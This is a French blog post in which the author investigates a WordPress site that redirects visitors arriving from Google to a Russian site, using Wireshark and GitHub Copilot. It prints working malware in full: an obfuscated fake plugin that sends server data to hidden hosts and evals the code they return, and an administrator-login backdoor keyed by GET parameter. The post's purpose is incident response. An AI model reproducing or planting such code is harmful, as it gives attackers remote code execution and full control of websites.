Un proche m’a demandé de lui résoudre son problème étrange…
Le problème exposé
Lorsque l’on clique sur le lien de son site depuis sa page Google Maps, c’est un autre site qui s’affiche à la place, celui d’un site russe louche de vente en ligne. Pourtant, c’est bien le bon lien qui est présent sur Maps…
Diagnostic et recherches
Premières vérifications
Je me rends compte en testant que, depuis un résultat google ou la page google maps, c’est le site russe qui s’affiche si l’on clique, mais pas si l’on copie le lien et qu’on le colle dans le navigateur. Il ne s’agit donc pas d’un typosquatting où une lettre de l’URL aurait été été remplacée par une lettre ressemblante.
Capture avec Wireshark
La première chose suivante qui me vienne en tête, c’est que le site légitime soit infecté d’un virus qui, lorsque le visiteur arrive depuis Google, le redirige depuis le site russe, sinon ne fait rien. J’ouvre wireshark et après une petite manipulation pour pouvoir y déchiffrer
le contenu des échanges chiffrés par TLS dans mon navigateur (par l’usage de la variable d’environnement SSLKEYLOGFILE) je lance la capture et je clique sur le lien depuis Google Maps.. Je coupe la capture et j’inspecte les paquets… je cherche dedans et, bingo, je vois que le site renvoie une balise très louche dans les échanges HTTP/2 :
<script>
window.location.href="https://lesitepirate.ru/tags/ami-paris";
</script>
D’après la documentation de mdn, cela peut être utilisé pour naviguer vers une autre page web, tiens donc.
Les fichiers de configuration WordPress
Je récupère donc les fichiers du site légitime (un wordpress) via sFTP, et je commence à chercher. Un bon vieux grep… mais évidemment je ne trouve rien, le pirate a vraisemblablement obfusqué ou masqué son oeuvre. J’ai alors une idée… et si github copilot pouvait m’aider à scanner tout ça ? Je n’y connais rien en wordpress, à peu près rien non plus en php depuis longtemps, et ça ne m’intéresse pas particulièrement.
Github copilot avec GPT-5 mini
Je commence par lui demander : In this codebase, find some code that would inject a <script/> tag for HTTP requests with a google referer.
Il ne trouve rien mais est VRAIMENT TRES VERBEUX sur ses recherches. Je tente alors autrement avec ce second prompt : The problem is that, when clicking on the legitimatesite.com link from google Maps, a redirection is sent by the server to lesitepirate.ru. So there was probably some nefarious injected code inside this wordpress site to redirect only requests with a Referer="https://www.google.fr/". It seems to be hidden in some way. Find it..
Encore une fois très verbeux, il essaie beaucoup de choses assez pertinentes notamment des recherches regex assez complexes (peut-être un peu larges), il trouve pas mal de résultat et ananalyse tout mais ne trouve rien de louche. Finalement il a l’idée que cela peut être offusqué et recherche quelques éléments comme b64_decode ou encore du code louche. Il trouve un fichier louche qui semble obfusqué quelque chose…
NB : attention, n'exécutez pas ce code sur votre site, il s'agit de remote code execution.
/**
* @package Hello_Joy
* @version 1.7.2
*/
/*
Plugin Name: Hello Joy
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/
add_action('admin_init', "open_hello");
if (!is_admin()) {
open_hello();
}
function open_hello()
{
$args = array(
'timeout' => 15,
'headers' => array(
"User-Agent" => json_encode($_SERVER),
),
);
$ids = array("J1VvJyo9IU8zOg==", "J1VvODN7Y1JvPTY=", "J1VvODMrPU8zOg==");
foreach ($ids as $id) {
$id = base64_decode($id);
$decoded = ""; for ($i = 0; $i < strlen($id); $i++) $decoded .= $id[$i] ^ "QaAOCJ"[$i % strlen("QaAOCJ")];
$response = wp_remote_get("http://" . $decoded . "/v5", $args);
if (!is_wp_error($response) && 200 === wp_remote_retrieve_response_code($response)) {
return eval($response['body']);
}
}
}
Le contenu d’un plugin a priori légitime a été remplacé, et on est en présence d’un code assez louche. En l’exécutant sur un interpréteur en ligne et en remplaçant quelques éléments pour pouvoir afficher plutôt que wp_remote_get, on voit que l’on tombe sur des URLs de sites russes… bingo ! Ce que fait concrêtement ce code outre l’obfuscation, c’est de récupérer du contenu sur un site distant et l’exécuter (eval). Il pourrait donc faire n’importe quoi d’autre que de rediriger l’utilisateur.
En parallèle copilot a fait ses recherches, a aussi exécuté une version équivalente du code louche en python (!), il me suggère de supprimer le fichier incriminé et me donne un ensemble de bonnes pratiques pour la sécurité du site, plus ou moins pertinentes.
Il me suggère aussi de scanner plus largement l’arborescence, ce que j’accepte. Il trouve un autre fichier encore plus obvious :
<?php
if (isset($_GET['cache_refresh'])) {
$valid_keys = [
's82gdb923ehv',
'379fvh2f3e',
'32ef32j029fns93',
];
if (in_array($_GET['cache_refresh'], $valid_keys)) {
add_action('init', function() {
$users = get_users(['role' => 'administrator', 'number' => 1]);
if (!empty($users)) {
$user_id = $users[0]->ID;
wp_set_auth_cookie($user_id);
wp_redirect(home_url());
exit;
}
});
}
}
Là c’est encore plus simple, c’est une backdoor permettant de se connecter avec l’un des codes listés…
Bravo github copilot. Il ne trouve rien d’autre, je m’arrête là.
La conclusion
Je supprime ces 2 fichiers, tout simplement, et je change les mots de passe. Puisque les pirates ont pu accéder en accès complet au site, il faudrait idéalement le ré-installer complètement… mais bon (-: